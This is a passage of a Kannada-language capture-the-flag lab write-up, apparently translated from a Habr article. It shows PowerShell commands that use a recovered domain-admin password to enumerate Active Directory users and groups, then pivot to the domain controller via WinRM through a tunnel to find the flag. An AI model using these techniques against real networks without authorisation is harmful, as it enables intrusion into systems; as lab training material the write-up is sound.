ಈಗ ನಾವು ಅದರ ಎಲ್ಲಾ ಕಾರ್ಯಗಳಿಗೆ ಪ್ರವೇಶವನ್ನು ಹೊಂದಿದ್ದೇವೆ. p00_adm ಬಳಕೆದಾರರು ಸವಲತ್ತು ಪಡೆದ ಬಳಕೆದಾರರಂತೆ ಕಾಣುತ್ತಾರೆ, ಆದ್ದರಿಂದ ನಾವು ಅವರ ಸಂದರ್ಭದಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತೇವೆ. ಈ ಬಳಕೆದಾರರಿಗಾಗಿ ಪಿಎಸ್ಸಿಡೆನ್ಶಿಯಲ್ ಆಬ್ಜೆಕ್ಟ್ ಅನ್ನು ರಚಿಸೋಣ.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
ಈಗ ನಾವು Creds ಅನ್ನು ನಿರ್ದಿಷ್ಟಪಡಿಸುವ ಎಲ್ಲಾ ಪವರ್ಶೆಲ್ ಆಜ್ಞೆಗಳನ್ನು p00_adm ಎಂದು ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗುತ್ತದೆ. ಬಳಕೆದಾರರ ಪಟ್ಟಿಯನ್ನು ಮತ್ತು AdminCount ಗುಣಲಕ್ಷಣವನ್ನು ಪ್ರದರ್ಶಿಸೋಣ.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
ಮತ್ತು ಆದ್ದರಿಂದ, ನಮ್ಮ ಬಳಕೆದಾರರು ನಿಜವಾಗಿಯೂ ಸವಲತ್ತು ಹೊಂದಿದ್ದಾರೆ. ಅವನು ಯಾವ ಗುಂಪಿನಲ್ಲಿದ್ದಾನೆಂದು ನೋಡೋಣ.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ಬಳಕೆದಾರರು ಡೊಮೇನ್ ನಿರ್ವಾಹಕರು ಎಂದು ನಾವು ಅಂತಿಮವಾಗಿ ಖಚಿತಪಡಿಸುತ್ತೇವೆ. ಇದು ರಿಮೋಟ್ ಆಗಿ ಡೊಮೇನ್ ನಿಯಂತ್ರಕಕ್ಕೆ ಲಾಗ್ ಇನ್ ಮಾಡುವ ಹಕ್ಕನ್ನು ನೀಡುತ್ತದೆ. ನಮ್ಮ ಸುರಂಗವನ್ನು ಬಳಸಿಕೊಂಡು WinRM ಮೂಲಕ ಲಾಗ್ ಇನ್ ಮಾಡಲು ಪ್ರಯತ್ನಿಸೋಣ. ದುಷ್ಟ-ವಿನ್ಆರ್ಮ್ ಅನ್ನು ಬಳಸುವಾಗ reGeorg ನಿಂದ ಉತ್ಪತ್ತಿಯಾಗುವ ದೋಷಗಳಿಂದ ನಾನು ಗೊಂದಲಕ್ಕೊಳಗಾಗಿದ್ದೇನೆ.
ನಂತರ ಇನ್ನೊಂದು, ಸುಲಭವಾದ ಒಂದನ್ನು ಬಳಸೋಣ,
ನಾವು ಸಂಪರ್ಕಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತೇವೆ ಮತ್ತು ನಾವು ಸಿಸ್ಟಮ್ನಲ್ಲಿದ್ದೇವೆ.
ಆದರೆ ಧ್ವಜವಿಲ್ಲ. ನಂತರ ಬಳಕೆದಾರರನ್ನು ನೋಡಿ ಮತ್ತು ಡೆಸ್ಕ್ಟಾಪ್ಗಳನ್ನು ಪರಿಶೀಲಿಸಿ.
mr3ks ನಲ್ಲಿ ಧ್ವಜವನ್ನು ನಾವು ಕಂಡುಕೊಂಡಿದ್ದೇವೆ ಮತ್ತು ಪ್ರಯೋಗಾಲಯವು 100% ಪೂರ್ಣಗೊಂಡಿದೆ.
ಅಷ್ಟೇ. ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ, ಈ ಲೇಖನದಿಂದ ನೀವು ಹೊಸದನ್ನು ಕಲಿತಿದ್ದೀರಾ ಮತ್ತು ಅದು ನಿಮಗೆ ಉಪಯುಕ್ತವಾಗಿದೆಯೇ ಎಂದು ದಯವಿಟ್ಟು ಕಾಮೆಂಟ್ ಮಾಡಿ.
ನೀವು ನಮ್ಮೊಂದಿಗೆ ಸೇರಿಕೊಳ್ಳಬಹುದು
ಮೂಲ: www.habr.com